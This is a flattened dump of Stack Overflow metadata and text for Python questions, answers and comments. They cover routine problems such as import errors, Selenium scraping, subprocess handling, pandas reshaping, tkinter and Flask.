has comment: http://stackoverflow.com/comment/86093068
has comment: http://stackoverflow.com/comment/86092845
has comment: http://stackoverflow.com/comment/86092897
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/86093155
score: 2
accepted answer of: http://stackoverflow.com/q/49542576

http://stackoverflow.com/comment/86027242
type: Comment
has text: Just to confirm, what does ``ls -las /bin/gunicorn_start`` now show? Are you absolutely sure it still shows the error ``couldn't exec /bin/gunicorn_start`` and not some new error?
comment on: http://stackoverflow.com/q/49510343
type: QuestionComment
score: 0

webbrowser-control
type: Tag
tag name: webbrowser-control
tags question: http://stackoverflow.com/q/49457597

http://stackoverflow.com/a/49493557
score: 1
type: Answer
downvote count: 0
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49492550
has body: After removing shell=True it started working. And restructured the code without thread also. If I add shell=True then it again starts blocking in communicate call. proc = subprocess.Popen(["./cmd.py"], stdout=subprocess.PIPE) #Do something else sleep(2) os.system('kill -15 ' + str(proc.pid)) print 'Killed ' + str(proc.pid) print 'cmd out: ' + proc.communicate()[0] print 'finished'
answers question: http://stackoverflow.com/q/49492550

http://stackoverflow.com/comment/86126194
has text: not solved but i replaced for(....) by rows = cursor2.fetchall() and get a rows as i expected...
comment on: http://stackoverflow.com/q/49554609
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49562375
has comment: http://stackoverflow.com/comment/86133657
has comment: http://stackoverflow.com/comment/86132971
has comment: http://stackoverflow.com/comment/86132904
has comment: http://stackoverflow.com/comment/86133370
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86133683
has comment: http://stackoverflow.com/comment/86132843
answer count: 1
has comment: http://stackoverflow.com/comment/86132998
tagged with: error-handling
has comment: http://stackoverflow.com/comment/86132977
has answer: http://stackoverflow.com/a/49563243
tagged with: import
type: Question
has title: Python Packages - ImportError
has body: I am having a particularly tough problem here. I am currently working on a personal project, starting with a relatively simple wrapper for the Riot API and all was working well until I wanted to package it and organize the modules. Here is the link to the project: Logistic Analysis for LoL (I feel this would be easier than trying to describe the structure of folders, what is in the files, etc. What I am trying to do is create a test suite to ensure that everything works as intended before continuing. At first I had a folder 'tests' under the main directory but am now just using tests.py; but I couldn't import 'pylol' (will be the main package), nor 'lol_api_wrapper' (a subpackage, wrapping the Riot API). I have the init.py files in each directory, so I am unsure why Python will not recognize the packages. At first I was thinking circular imports, but I do not see any? Thanks all.... Error Output: Traceback (most recent call last): File "/Users/mattmurray/Documents/GitHub/Logistic-Analysis-for-LoL/tests.py", line 1, in &lt;module&gt; import pylol File "/Users/mattmurray/Documents/GitHub/Logistic-Analysis-for-LoL/pylol/__init__.py", line 1, in &lt;module&gt; from . import riot_api_wrapper File "/Users/mattmurray/Documents/GitHub/Logistic-Analysis-for-LoL/pylol/riot_api_wrapper/__init__.py", line 1, in &lt;module&gt; from utils import Session ModuleNotFoundError: No module named 'utils' [Finished in 0.1s with exit code 1] [cmd: ['/anaconda/envs/py36/bin/python3', '-u', '/Users/mattmurray/Documents/GitHub/Logistic-Analysis-for-LoL/tests.py']] [dir: /Users/mattmurray/Documents/GitHub/Logistic-Analysis-for-LoL] [path: /anaconda/bin:/Library/Frameworks/Python.framework/Versions/2.7/bin:/Library/Frameworks/Python.framework/Versions/3.6/bin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin]
has comment: http://stackoverflow.com/comment/86133555
has comment: http://stackoverflow.com/comment/86133530
tagged with: python

http://stackoverflow.com/q/49567821
type: Question
has answer: http://stackoverflow.com/a/49568303
answer count: 1
has title: StaleElementReferenceException in iteration with Selenium
tagged with: python
type: AnsweredQuestion
score: 0
tagged with: staleelementreferenceexception
tagged with: selenium
has body: Hello I'm trying to scrap some info from t he following page: http://verify.sos.ga.gov/verification/ My code is the following: import sys reload(sys) sys.setdefaultencoding('utf8') from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from selenium.common.exceptions import TimeoutException from selenium.webdriver.chrome.options import Options from selenium.webdriver.support.ui import Select import time import csv url = 'http://verify.sos.ga.gov/verification/' def init_Selenium(): global driver driver = webdriver.Chrome("/Users/rodrigopeniche/Downloads/chromedriver") driver.get(url) def select_profession(): select = Select(driver.find_element_by_name('t_web_lookup__profession_name')) options = select.options for index in range(1, len(options) - 1): select = Select(driver.find_element_by_name('t_web_lookup__profession_name')) select.select_by_index(index) select_license_type() def select_license_type(): select = Select(driver.find_element_by_name('t_web_lookup__license_type_name')) options = select.options for index in range(1, len(options) - 1): select = Select(driver.find_element_by_name('t_web_lookup__license_type_name')) select.select_by_index(index) search_button = driver.find_element_by_id('sch_button') driver.execute_script('arguments[0].click();', search_button) scrap_licenses_results() def scrap_licenses_results(): table_rows = driver.find_elements_by_tag_name('tr') for index, row in enumerate(table_rows): if index &lt; 9: continue else: attributes = row.find_elements_by_xpath('td') try: name = attributes[0].text license_number = attributes[1].text profession = attributes[2].text license_type = attributes[3].text status = attributes[4].text address = attributes[5].text license_details_page_link = attributes[0].find_element_by_id('datagrid_results__ctl3_name').get_attribute('href') driver.get(license_details_page_link) d…
accepted answer: http://stackoverflow.com/a/49568303

http://stackoverflow.com/comment/86064411
score: 0
type: Comment
type: QuestionComment
has text: Well, what other errors are you getting? One thing I can see is that `def test()` is indented even though it shouldn't be. Is there anything else?
comment on: http://stackoverflow.com/q/49528356

http://stackoverflow.com/comment/86185744
comment on: http://stackoverflow.com/q/49589007
score: 0
type: Comment
type: QuestionComment
has text: Yes, '{ 42' is the desired output

http://stackoverflow.com/q/49582413
accepted answer: http://stackoverflow.com/a/49582565
downvote count: 1
has comment: http://stackoverflow.com/comment/86173017
has title: How to turn repeating code in to functions when a while loop is used
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86173073
has comment: http://stackoverflow.com/comment/86172954
has comment: http://stackoverflow.com/comment/86173137
tagged with: while-loop
tagged with: python
has comment: http://stackoverflow.com/comment/86173035
has body: I have some extremely repetitive python code that I would like to turn in to a function but I am unsure of the logic as a while loop is involved. #Get initial tracks for playlist and save to JSON file tracks_file_count = 0 tracks_file_name = f'{str(tracks_file_count)}_tracks.json' tracks_file = open(tracks_file_name,'w+') tracks_response = requests.request('GET', f'{config.global_url}/users/{user}/playlists/{playlist_id}/tracks', headers=headers ) tracks_file.write(tracks_response.text) tracks_file.close() tracks_file = open(tracks_file_name,'r') tracks = json.load(tracks_file) #Save comma seperated track ID's to variable id_dict = [] for i in tracks['items']: track_id = i['track']['id'] id_dict.append(track_id) id_comma = (','.join(id_dict)) #Get Audio Features features_file_count = 0 features_file_name = f'{str(features_file_count)}_features.json' features_file = open(features_file_name,'w+') features_response = requests.request('GET', f'{config.global_url}/audio-features/?ids={id_comma}', headers=headers ) features_file.write(features_response.text) features_file.close() features_file = open(features_file_name,'r') features = json.load(features_file) track_writer(tracks, playlist_id) feature_writer(features, playlist_id) next_url = tracks['next'] while next_url != None: tracks_file_count += 1 tracks_file_name = f'{str(tracks_file_count)}_tracks.json' tracks_file = open(tracks_file_name,'w+') tracks_response = requests.request('GET', next_url, headers=headers ) tracks_file.write(tracks_response.text) tracks_file.close() tracks_file = open(tracks_file_name,'r') tracks = json.load(tracks_file) #Save comma seperated track ID's to variable id_dict = [] for i in tracks['items']: track_id = i['track']['id'] id_dict.append(track_id) id_comma = (','.join(id_dict)) #Get Audio Features features_file_count += 1 features_file_name = f'{str(features_file_count)}_features.json' features_file = open(features_file_name,'w+') features_response = requests.request('GET', f'{config.g…
has comment: http://stackoverflow.com/comment/86172918
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49582565
has comment: http://stackoverflow.com/comment/86172964
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86173047
tagged with: dry
has comment: http://stackoverflow.com/comment/86172922
tagged with: function
answer count: 1
upvote count: 1

http://stackoverflow.com/comment/86104417
comment on: http://stackoverflow.com/a/49472767
has text: Can you post your `Pipfile` and `Pipfile.lock`?
score: 1
type: Comment
type: AnswerComment

twilio
tag name: twilio
tags question: http://stackoverflow.com/q/49472409
tags question: http://stackoverflow.com/q/49455804
type: Tag

http://stackoverflow.com/comment/86055074
type: Comment
score: 0
has text: Okay -- what have you tried? This seems to incorporate elements you should have had already in your course materials, and are readily available in on-line tutorials. Where are you stuck, specifically, that you have *no* code?
type: QuestionComment
comment on: http://stackoverflow.com/q/49524553

http://stackoverflow.com/comment/85952043
type: QuestionComment
comment on: http://stackoverflow.com/q/49474514
has text: Please read [how to make good reproducible pandas examples](http://stackoverflow.com/questions/20109391/how-to-make-good-reproducible-pandas-examples) and edit your post correspondingly.
score: 1
type: Comment

http://stackoverflow.com/comment/86069923
comment on: http://stackoverflow.com/q/49531615
has text: There's too much code here. There's also too much code missing. When you say _"they delete my first value from the dictionary"_, I have no idea which dictionary you're referring to. When you say _"this is the output from main_method"_, that doesn't help me identify the problem in any way because 1) I don't know the parameters you've passed to the function and 2) I don't know the attribute values of the Radiobutton_controller. Please provide a [mcve]. Post code that _runs_, and make it _short_.
score: 3
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49486166
tagged with: numpy
has body: I am trying to select a trigonal region around the k point of the hexagonal Brillouin of graphene. I tried in this way: import random import numpy as np def trisample(A, B, C): r1 = float(random.random()) r2 = float(random.random()) s1 =float( np.sqrt(r1)) x = float( A[0] * (1.0 - s1) + B[0] * (1.0 - r2) * s1 + C[0] * r2 * s1) y = float( A[1] * (1.0 - s1) + B[1] * (1.0 - r2) * s1 + C[1] * r2 * s1) return (x, y) random.seed(5) A = (0.2,0.1) B = (0.5, 0.1) C = (0.5, 0.0) points = [trisample(A, B, C) for _ in range(10000)] kxx, kyy = (zip(*points)) Then, I try to insert the kxx, kyy into (2*np.cos(2*np.pi*kyy) + 4*np.cos((3**0.5)*np.pi*kxx)*np.cos(np.pi*kyy)) but get as error TypeError Traceback (most recent call last) &lt;ipython-input-5-cb758caa3c7d&gt; in &lt;module&gt;() ----&gt; 1 (2*np.cos(2*np.pi*kyy)+ 4*np.cos((3**0.5)*np.pi* kxx)*np.cos(np.pi*kyy)) TypeError: can't multiply sequence by non-int of type 'float' What is the mistake that I am doing? How to get rid of this error?
tagged with: python
has title: How do I select a trigonal sector of a hexagonal Brillouin zone in python?
tagged with: triangular
type: AnsweredQuestion
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/49486373
accepted answer: http://stackoverflow.com/a/49486373
type: Question

http://stackoverflow.com/comment/86035015
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49445395
has text: Also, your setwebhook function is not going to be called when you run that code as a web app on PythonAnywhere. That call needs to be outside of that if block
score: 0

http://stackoverflow.com/q/49584755
has title: PyCharm Jupyter got messed up
has body: I'm a newbie to PyCharm and Jupyter. After installing Anaconda, I changed PyCharm project interpreter to Anaconda's python.exe, then I deleted the old virtual env folder where my Jupyter used to run (due to very limited disk space). Now when I run Jupyter, it shows the following error message: Error running 'python': Cannot run program "C:\my_work_dir\venv\Scripts\python.exe" (in directory "C:\my_work_dir\python"): CreateProcess error=2, The system cannot find the file specified I understand the error message means that it cannot find the path. But I don't understand why it keeps looking for the old path while I have changed my project interpreter's path. Please help!
tagged with: python
tagged with: jupyter
has comment: http://stackoverflow.com/comment/86177919
has comment: http://stackoverflow.com/comment/86199304
accepted answer: http://stackoverflow.com/a/49596066
has answer: http://stackoverflow.com/a/49596066
tagged with: pycharm
type: AnsweredQuestion
score: 0
upvote count: 1
downvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/86197037
favorite count: 0
type: Question

http://stackoverflow.com/a/49443215
score: 0
answers question: http://stackoverflow.com/q/49443168
has body: Catch the ValueError and break the for-loop. for filename in glob.glob('datafolder/*.txt'): inputfile = open(filename, 'r') npv = [] for i, line in inputfile: try: npv.append(line[34:36]) # the site of fault except ValueError: break Alternatively, you could pass the line and read other lines in the file if that makes sense to your task.
type: Answer

http://stackoverflow.com/a/49591262
has body: You can achieve that by simply running: import crypt password = "test_pass" encrypted_password = crypt.crypt(password, crypt.mksalt(crypt.METHOD_SHA512)) Note that if your MySQL uses base64 encoding, you also need to encode it after: import base64 base64_encoded_password = base64.b64encode(str.encode(encrypted_password)) SQL Example: http://sqlfiddle.com/#!9/9eecb/25257/0
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49590718
type: Answer
answers question: http://stackoverflow.com/q/49590718
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/a/49760872
has comment: http://stackoverflow.com/comment/86537732
has comment: http://stackoverflow.com/comment/86537686
has body: I would do it this way: df_out = pd.concat([df1,df2]) df_out = (df_out[df_out.groupby(['Name'])['No.'].transform(lambda x: x.nunique() &gt; 1)] .reset_index(drop=True) .set_index(['Name','No.'], append=True)['Comment'] .unstack([0,2])) df_out.columns = df_out.columns.droplevel(0) df_out Output: No. 2139300 2234903 2139300 2234903 Name John Irrelevant Regardless Awesome Perfect Use reset_index to get unique index per row, then append 'name' and 'no.' to that index and unstack new row number index and no.to create a multiindex column header, then drop the top level of the column header. You can use: df_out.rename_axis(None, axis=1).rename_axis(None) To get rid of index names and create a more "clean" table looking dataframe: 2139300 2234903 2139300 2234903 John Irrelevant Regardless Awesome Perfect
downvote count: 0
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49503422
answers question: http://stackoverflow.com/q/49503422
score: 1
type: Answer

http://stackoverflow.com/a/49523982
answers question: http://stackoverflow.com/q/49523754
has body: How are dicts stored in memory? (simplified version) for each key in the dict, hash is calculated and then both key and value are stored in a place defined by the hash if multiple keys have the same hash (or have hashes pointing to the same storage destination), there will be a list of key-value pairs in that place How are dict values read from memory? (simplified version) the hash of the key is calculated and location in memory is calculated from that hash key-value pairs are read from that location one by one and compared to the sought key using == operator Conclusion To for a key (call it key1) to be found in the dict, the dict should contain a key (call it key2), for which hash(key1) == hash(key2) and key1 == key2. So why are mutable keys a bad idea? Because hash(key) is calculated when key is written into the dict and it matches the value of key at that point in time, but if key is mutable, and you mutate it while it is in the dict, dict will not recalculate hash(key), so it will no longer be possible to find the key.
type: Answer
score: 0

http://stackoverflow.com/comment/86059149
type: Comment
comment on: http://stackoverflow.com/q/49508788
has text: I'd split these massive entities into sets of smaller ones, without such nesting and yes, it'll be much easier to obtain results like the one you seek. See https://stackoverflow.com/questions/49239548/manage-nested-list-of-entities-within-entities-in-google-cloud-datastore/49261568#49261568
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86131000
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49561404
type: Comment
has text: @Mike-SMT Thanks for reminding. Used it for testing. Forgot to remove.

http://stackoverflow.com/q/49481345
accepted answer: http://stackoverflow.com/a/49481583
favorite count: 0
type: AnsweredQuestion
answer count: 1
tagged with: scikit-image
tagged with: python
has body: I'm looking for a solution to automatically adjust the color balance? I would like to use the pictures for color analysis and comparison, therefore color balance is important. I was hoping a feature such as histogram equalization with scikit-image to correct and balance the colors. The result doesn't have to look good or natural, it must just always be the same. Does anyone have a solution ?
tagged with: image-processing
score: 12
type: Question
has answer: http://stackoverflow.com/a/49481583
upvote count: 12
downvote count: 0
has title: Is there a way to automatically correct the color balance?

http://stackoverflow.com/comment/86079228
has text: have you checked how many containers you had? and is indentation correct? check that. Try to print `len(list(containers))`
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49536274
type: Comment

http://stackoverflow.com/comment/86001754
type: Comment
comment on: http://stackoverflow.com/q/49496243
type: QuestionComment
has text: moved to: https://stats.stackexchange.com/questions/336882/mobilenets-object-keypoints-localization-with-keras
score: 0

http://stackoverflow.com/a/51723256
answers question: http://stackoverflow.com/q/49440330
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: You are mixing here two API's. As you correctly wrote oVirt has two version of the API v3 and v4. Python SDK v3 by default works with v3 API, so you should use it with oVirt 4.1/RHV 4.1, same as before. If you list using API v3 the hosts status: GET https://fqdn/ovirt-engine/api/v3/hosts You will get: up So you should be able to fetch the state Python SDK v3 as: host = api.hosts.get(host_name) host_state = host.status.state print(host_state) In APIv4 you will get: GET https://ondra.local:8443/ovirt-engine/api/v4/hosts up But it's not relevant as you still use Python SDK v3, which uses APIv3.
type: Answer
score: 1
accepted answer of: http://stackoverflow.com/q/49440330

http://stackoverflow.com/q/49473998
downvote count: 1
score: -1
favorite count: 0
tagged with: graph
tagged with: python-3.x
type: Question
has title: Single Depot Capacitated single Vehicle with different delivery magnitudes
upvote count: 0
tagged with: python
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49508091
answer count: 1
tagged with: logic
has body: I want to build an algorithm that gives the optimum route (minimum overall distance and it may have cycles) through which a single delivery vehicle, which has a limited capacity and starts from a fixed point (depot) and also ends at that point, can deliver the required amount of products on nodes. Where should I start and what techniques/logic should I use? I have knowledge of graphs, trees, Dijkstra's algorithm etc. I also think that this will be related to the Travelling Salesman problem in someway. I will implement this on Python 3.6.

http://stackoverflow.com/q/49495335
has comment: http://stackoverflow.com/comment/85994850
favorite count: 0
type: Question
upvote count: 2
has body: I have a function from tkinter def OpenFile(): name = askopenfilename(initialdir="C:/Users/Batman/Documents/Programming/tkinter/", filetypes =(("Image", "*.jpg"),("All Files","*.*")), title = "Choose a file." ) return name And where i am using it file.add_command(label = 'Open', command = OpenFile) But i need to use my variable name in the other case test_image = image.load_img(name, target_size = (64, 64)) How can i get the variable from this function and use it later, because when i am now trying to use it, i see message that it doesnt exist
has comment: http://stackoverflow.com/comment/85994567
type: UnansweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/85994469
tagged with: python
has comment: http://stackoverflow.com/comment/85994526
score: 2
tagged with: tkinter
answer count: 0
has title: Returning variables from the tkinter function Python

http://stackoverflow.com/a/49528014
answers question: http://stackoverflow.com/q/49514111
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49514111
has body: Cleaning and re-installation in conda fixed it. conda clean -t conda install gensim I am guessing a corrupt version was installed and the clean command removed it before re-installation.
type: Answer

http://stackoverflow.com/comment/85935733
type: QuestionComment
comment on: http://stackoverflow.com/q/49466525
has text: Possible duplicate of [Create List of Single Item Repeated n Times in Python](https://stackoverflow.com/questions/3459098/create-list-of-single-item-repeated-n-times-in-python)
type: Comment
score: 1

http://stackoverflow.com/q/49571515
possible better answer: http://stackoverflow.com/a/49572128
type: Question
tagged with: python-3.x
has title: Can you change a variable inside a dictionary during runtime
accepted answer: http://stackoverflow.com/a/49571730
tagged with: python
has answer: http://stackoverflow.com/a/49572128
has body: I have a dictionary which stores a list in it and that list has a type of objects in it, which have some member functions. Then I have a variable which I want to increment as starts at 0, which calls the first position in the list, so it looks like this: index = 0 myDict = { "test" : myList[index].foo } myDict["test"]() index += 1 myDict["test"]() What I want to do is that it calls the second place in the list. But the index in the dict seems to be immutable, because it still is referring to the index 0 in the list. Is there any way to make this work or do I have to come up with an other solution?
tagged with: dictionary
has answer: http://stackoverflow.com/a/49571730
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86150648
score: 0
answer count: 2

http://stackoverflow.com/q/49566499
type: Question
has comment: http://stackoverflow.com/comment/86141591
type: UnansweredQuestion
has body: Trying to format information from multiple files into a single csv file, anything 'spam' is writing fine, but there is no 'ham' in the file, yet the "print ('ham...." is being called and is outputting to console. My write ham line is being called (after the else) but it's not being written to the file import os root_dir = '../res' output_file = '../res/mass.csv' for folder, subs, files in os.walk(root_dir): with open(output_file, 'w') as dest: for filename in files: if filename != 'Summary.txt': with open(os.path.join(folder, filename), 'r') as src: if 'spam' in filename: dest.write(('spam\t' + src.readline()) .decode('utf-8', 'ignore').encode('utf-8')) else: print ('ham\t' + src.readline()).decode('utf-8', 'ignore').encode('utf-8') dest.write(('ham\t' + src.readline()) .decode('utf-8', 'ignore').encode('utf-8')) The file output is a bunch of spam with no ham spam Subject: claim your winning offer now ! spam Subject: winning notification
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/86141438
tagged with: python
has comment: http://stackoverflow.com/comment/86141303
has comment: http://stackoverflow.com/comment/86141502
score: 0
has title: Why isn't this writing to my file python
answer count: 0
has comment: http://stackoverflow.com/comment/86141500
has comment: http://stackoverflow.com/comment/86141485
tagged with: file

http://stackoverflow.com/comment/86009463
comment on: http://stackoverflow.com/q/49502606
type: Comment
type: QuestionComment
has text: Check my edit, hopefully that's specific enough
score: 1

http://stackoverflow.com/comment/85886620
score: 0
comment on: http://stackoverflow.com/q/49442025
has text: @Ben. I guess you didn't read the right tutorial. Not many really good ones out there to be honest.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49551531
has body: Python's int() is able to convert correctly so you could role your own: def natsorted(l): # For simple string lists containing numbers return sorted(l, key=lambda x: [int(d) if d else l for d, l in re.findall(r'(\d+)|(\D+)', x)]) streets = [ "2 street", "1 street", "12 street", "11 street", "۲ street", "۱ street", "۱۲ street", "۱۱ street", ] sl = natsorted(streets) #, key = natsort_keygen(alg=ns.LOCALE|ns.IGNORECASE|ns.TYPESAFE)) for name in sl: print(name) This would give you: 1 street ۱ street 2 street ۲ street 11 street ۱۱ street 12 street ۱۲ street
score: 0
type: Answer
answers question: http://stackoverflow.com/q/49550880
has comment: http://stackoverflow.com/comment/86138609
has comment: http://stackoverflow.com/comment/86155760
has comment: http://stackoverflow.com/comment/86155329

http://stackoverflow.com/comment/86174554
has text: nice one noobie (-:
type: Comment
comment on: http://stackoverflow.com/a/49583144
type: AnswerComment
score: 1

http://stackoverflow.com/comment/86128017
has text: Use this solution if there are duplicates in the lists in script 2 (e.g. `a = ['carrot','apple','celery','banana', 'apple']`) and you want the preserve these duplicates, i.e you want the result to be `['apple', 'banana', 'apple']`.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49559921
score: 1

http://stackoverflow.com/q/49490364
has body: Using Crawlera's sample code for a GET request with a proxy. import requests url = "http://httpbin.org/ip" proxy_host = "proxy.crawlera.com" proxy_port = "8010" proxy_auth = "&lt;APIKEY&gt;:" # Make sure to include ':' at the end proxies = { "https": "https://{}@{}:{}/".format(proxy_auth, proxy_host, proxy_port), "http": "http://{}@{}:{}/".format(proxy_auth, proxy_host, proxy_port) } r = requests.get(url, proxies=proxies, verify=False) I get a 407 Bad Proxy Auth error. I've tripled check that the API_KEY is correct. Response headers: { 'Proxy-Connection': 'close', 'Proxy-Authenticate': 'Basic realm="Crawlera"', 'Transfer-Encoding': 'chunked', 'Connection': 'close', 'Date': 'Mon, 26 Mar 2018 11:18:05 GMT', 'X-Crawlera-Error': 'bad_proxy_auth', 'X-Crawlera-Version': '1.32.0-07c786' } Requests is already updated. $ pip freeze |grep requests requests==2.8.1
tagged with: scrapinghub
tagged with: python-requests
has answer: http://stackoverflow.com/a/49501824
accepted answer: http://stackoverflow.com/a/49501824
type: AnsweredQuestion
downvote count: 0
upvote count: 1
score: 1
possible better answer: http://stackoverflow.com/a/50934046
tagged with: python
has answer: http://stackoverflow.com/a/50934046
favorite count: 0
type: Question
answer count: 2
has title: Crawlera: 407 "Bad Auth" error message

http://stackoverflow.com/comment/89125759
has text: And I don't see any differences between 3.5 and 3.6, not on OS X at any rate. The `memory_profiler` tests produce the same outputs, more or less, both with the default psutil and the tracemalloc backends. Only 2.7 is the outlier here (where the process grows by 5 MiB when the `deepcopy()` line is hit).
type: Comment
comment on: http://stackoverflow.com/a/49480542
score: 0
type: AnswerComment

http://stackoverflow.com/a/49456269
answers question: http://stackoverflow.com/q/49455932
has body: I've had no trouble with Spyder printing logging information. You may need to enable logging in your application: tf.logging.set_verbosity(tf.logging.INFO) A lot of developers set the TF_CPP_MIN_LOG_LEVEL environment variable to 3 to prevent TensorFlow from whining about the device's supported capabilities. I'd check that. If you run the following code, will it print anything? tf.logging.info('Hi there!')
type: Answer
upvote count: 3
has comment: http://stackoverflow.com/comment/85990771
downvote count: 0
score: 3

http://stackoverflow.com/q/49445110
tagged with: python
has title: Run code after Flask server starts
has comment: http://stackoverflow.com/comment/85891709
tagged with: flask
has body: I want to run some code after I call app.run. app = Flask(__name__) print '1' app.run(host=config.server_address, port=config.server_port) print '2' It prints 1, but doesn't print 2 until I stop the server. Why doesn't the second print execute immediately?
type: AnsweredQuestion
answer count: 1
accepted answer: http://stackoverflow.com/a/49445439
score: -1
has answer: http://stackoverflow.com/a/49445439
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/85891923
type: Question
upvote count: 0

google-api-python-client
tags question: http://stackoverflow.com/q/49483593
tags question: http://stackoverflow.com/q/49466191
type: Tag
tag name: google-api-python-client
tags question: http://stackoverflow.com/q/49565028

http://stackoverflow.com/q/49514374
type: Question
upvote count: 0
tagged with: list
answer count: 2
possible better answer: http://stackoverflow.com/a/49514521
has comment: http://stackoverflow.com/comment/86033786
has answer: http://stackoverflow.com/a/49515870
downvote count: 1
favorite count: 0
tagged with: excel
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86033537
has answer: http://stackoverflow.com/a/49514521
tagged with: pandas
has title: How to access name of a list in a list of lists
has comment: http://stackoverflow.com/comment/86033672
tagged with: python
score: -1
accepted answer: http://stackoverflow.com/a/49515870
has body: I have a scenario where I have a list of lists: list1 = [aa] + [bb] + [cc] list2 = [dd] + [ee] + [ff] ... listn listoflists = [] listoflists.append((list1, list2, ..., listn)) I need to iterate through the list of lists by making a dataframe that pulls each list and creates an excel file of each list and saves it with the file name: list1.xlsx, list2.xlsx, etc. In order to do this, however, I need to be able extract the names of lists from the list of lists. Maybe I am approaching this problem in completely the wrong way. But if anyone could offer some advice, it would be very helpful. Thanks!

http://stackoverflow.com/comment/86178927
comment on: http://stackoverflow.com/a/49584656
score: 0
type: AnswerComment
type: Comment
has text: Cool. Happy coding :)

http://stackoverflow.com/q/49466446
accepted answer: http://stackoverflow.com/a/49466761
answer count: 3
has comment: http://stackoverflow.com/comment/85937082
has answer: http://stackoverflow.com/a/49466771
upvote count: 0
has title: Merging elements in a list until certain text appears
has comment: http://stackoverflow.com/comment/85935817
favorite count: 0
type: Question
has body: I have a list like this: list = ['BHX', 'AR', 'DEFab', 'ABR', 'DEFyr', 'HYt', 'wqw', 'DEF-a'] And i want to merge it to look like this: merged_list = ['BHXAR DEFab', 'ABR DEFyr', 'HYtwqw DEF-a'] So basically i want to merge consecutive elements and when phrase 'DEF' is met it's the last element and and every next one creates another element, until again, DEF is met. It definitely looks like place for loop, i've been thinking about something with .append, maybe .next, probably itertools also may be used here, but i don't how to make it work properly. Also, I'd want to merge elements with no space if none of them contains 'DEF', and with space when last element contains 'DEF'.
has answer: http://stackoverflow.com/a/49466593
has answer: http://stackoverflow.com/a/49466761
downvote count: 5
tagged with: python
has comment: http://stackoverflow.com/comment/85935522
type: AnsweredQuestion
score: -5
possible better answer: http://stackoverflow.com/a/49466771

http://stackoverflow.com/a/49591581
has body: I am not sure you can parse that easily with read_csv. But you can just skip the first rows and get to the point the information is located: pd.read_csv('schedule.csv',skiprows=8, sep=' ', index_col=False, skipinitialspace=True, names=['Schedule Time', 'ECM', 'MAC', 'ImageName'])` This is using "names" for the colum names. It is setting the separator to be ' ', as the default is ',' and is skiping the first rows of information. The index_col=False force read_csv to not using the first column as the index column.
type: Answer
accepted answer of: http://stackoverflow.com/q/49585536
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49585536

http://stackoverflow.com/comment/86004079
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49499905
score: 0
has text: I dont about the transformation, you are saying, another thing,I was using kappa scorer in grid search and sgd as well with adam to see how it affects accurcacy. i made predictions with model and it all predicted one class and kappa value was zero.

http://stackoverflow.com/q/49519912
linked to: http://stackoverflow.com/q/24527006
has answer: http://stackoverflow.com/a/49520495
tagged with: list
accepted answer: http://stackoverflow.com/a/49520168
answer count: 3
has answer: http://stackoverflow.com/a/49519973
downvote count: 0
has title: Loop through multiple lists in specific intervals
tagged with: loops
favorite count: 0
type: Question
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/49519973
upvote count: 2
has answer: http://stackoverflow.com/a/49520168
tagged with: python
tagged with: dictionary
has body: I have two lists. One with names, and one with numbers that correspond with a name in the first list (corresponding name and number are at the same index point in each list). I need to reference each name and number in a url that can only handle 25 different names &amp; points at a time. pointNames = ['name1', 'name2', 'name3'] points = ['1', '2', '3'] #yes, the numbers are meant to be strings My actual lists have roughly 600 values in each. What I'm trying to do is loop through each list at the same time, but in increments of 25. I'm able to do this with a single list using the following: def chunker(seq, size): return (seq[pos:pos + size] for pos in range(0, len(seq), size)) for group in chunker(pointNames, 25): print (group) This prints multiple groups of 25 values from the list until it has gone through the entire list. I want to do exactly this, but with two lists. I'm able to print each list entirely with for(point, name) in zip(points, pointNames): but it I need it in groups of 25. I've also tried combining the two lists into a dictionary: dictionary = dict(zip(points, pointNames)) for group in chunker(dictionary, 25): print (group) but i get the following error: TypeError: unhashable type: 'slice'
type: AnsweredQuestion
score: 2

http://stackoverflow.com/q/49529198
has answer: http://stackoverflow.com/a/49529665
upvote count: 3
possible better answer: http://stackoverflow.com/a/64231294
has title: awscli not working on OS X, keep getting ImportError: No module named awscli_plugin_endpoint
downvote count: 0
has answer: http://stackoverflow.com/a/64231294
tagged with: macos
